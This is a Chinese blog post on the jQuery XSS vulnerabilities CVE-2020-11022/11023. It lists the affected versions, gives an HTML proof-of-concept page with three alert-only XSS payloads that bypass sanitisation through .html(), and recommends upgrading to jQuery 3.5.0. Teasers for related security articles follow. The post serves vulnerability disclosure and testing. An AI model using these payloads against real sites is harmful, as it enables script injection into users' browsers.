首页 > 其他分享 >JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)

JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)

时间:2023-06-07 22:59:29浏览次数:61  
标签:JQuery jQuery XSS innerHTML 3.5 2020 CVE

JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)

详细描述

据NVD描述:在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。

受影响版本

大于等于1.2 ,小于 3.5.0

漏洞验证

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <!-- 测试JQuery -->
   <script src="./jquery-3.3.1.min.js"></script>
	<!-- <script src="./jquery.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
 
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x one rror=alert(2)> 
</xmp>
 
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x one rror=alert("1st")>">
</xmp>
 
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x one rror=alert("1st")></style>
</xmp>
 
<div id="div"></div>
</body>
</html>

修复方案

更新jQuery到3.5.0或更高版本

https://code.jquery.com/jquery-3.5.0.js

标签:JQuery,jQuery,XSS,innerHTML,3.5,2020,CVE
From: https://www.cnblogs.com/wsx2019/p/17464800.html

相关文章

  • CSP-S 2020
    日期计算以\(400\)年为周期,每\(400\)年都有恰好\(146097\)天。(\(146097=365\times400+100-4+1\))预处理出\(400\)年内的情况,将年份模\(400\)即可快速得到答案。几个简化代码的技巧:对于格里高利历,以\(1200\)年\(1\)月\(1\)日为起始日,\(r\)减去跳过的天数(\(2159351\))。(\(21593......
  • [BUUOJ]bjdctf_2020_babyrop
    bjdctf_2020_babyrop先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析main函数内很简单,进一步分析后找到关键函数vuln本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进......
  • SCM Manager XSS漏洞复现(CVE-2023-33829)
    一、漏洞描述漏洞简述SCM-Manager是一款开源的版本库管理软件,同时支持subversion、mercurial、git的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目......
  • jquery.serializejson.min.js的妙用
    jquery.serializejson.min.js的妙用关于这个jquery.serializejson.min.js插件来看,他是转json的一个非常简单好用的插件。前端在处理含有大量数据提交的表单时,除了使用Form直接提交刷新页面之外,经常碰到的需求是收集表单信息成数据对象,Ajax提交。而在处理复杂的表单时,......
  • jQuery
    jQueryjQuery常用插件网站jQuery插件库:http://www.jq22.com/jQuery之家http://www.htmleaf.com/jQuery事件/on()绑定多个事件jQuery解绑事件off()jQuery绑定只执行一次事件one()jQuery自动触发事件trigger()和定时器一起使用可以达到自动触发指定事件的效果......
  • CVE-2023-2825-GitLab目录穿越poc
    GitlabCVE-2023-2825目录穿越漏洞前言昨天GitLab出了一个版本目录穿越漏洞(CVE-2023-2825),可以任意读取文件。当时我进行了黑盒测试并复现了该漏洞。“Anunauthenticatedmalicioususercanuseapathtraversalvulnerabilitytoreadarbitraryfilesontheserver......
  • jQuery Backstretch动态设置背景图片插件
    [url]http://www.2cto.com/kf/201411/348425.html[/url]官方:[url]https://github.com/srobbin/jquery-backstretch[/url]<scriptsrc="Scripts/jquery-1.8.2.min.js"></script><scriptsrc="Scripts/jquery.backstretc......
  • jQuery使用iframe做tab标签
    jQueryTab插件[url]http://jqueryui.com/tabs/#default[/url][b][color=red]Jquery、tabs、iframe相结合[/color][/b][url]http://blog.sina.com.cn/s/blog_656977f401014oy6.html[/url]使用Jquery中的ui.tabs.js,如果tab中的界面有按钮需要跳转到新的页......
  • jquery mobile的一些使用记录。
    [color=red][b]自定义按钮图标去除按钮阴影/圆角[/b][/color][url]http://bbs.phonegap100.com/thread-218-1-1.html[/url][color=red][b]jQueryMobile自定义按钮图标[/b][/color]JqueryMobile自定义按钮图标[url]http://liningjustsoso.iteye.com/blog/1986769[/url][co......
  • 高效的jQuery代码编写技巧大盘点
    [b]缓存变量[/b]DOM遍历是昂贵的,所以尽量将会重用的元素缓存。//糟糕h=$('#element').height();$('#element').css('height',h-20);//建议$element=$('#element');h=$element.height();$element.css('height',h-20);[b]避免全局变......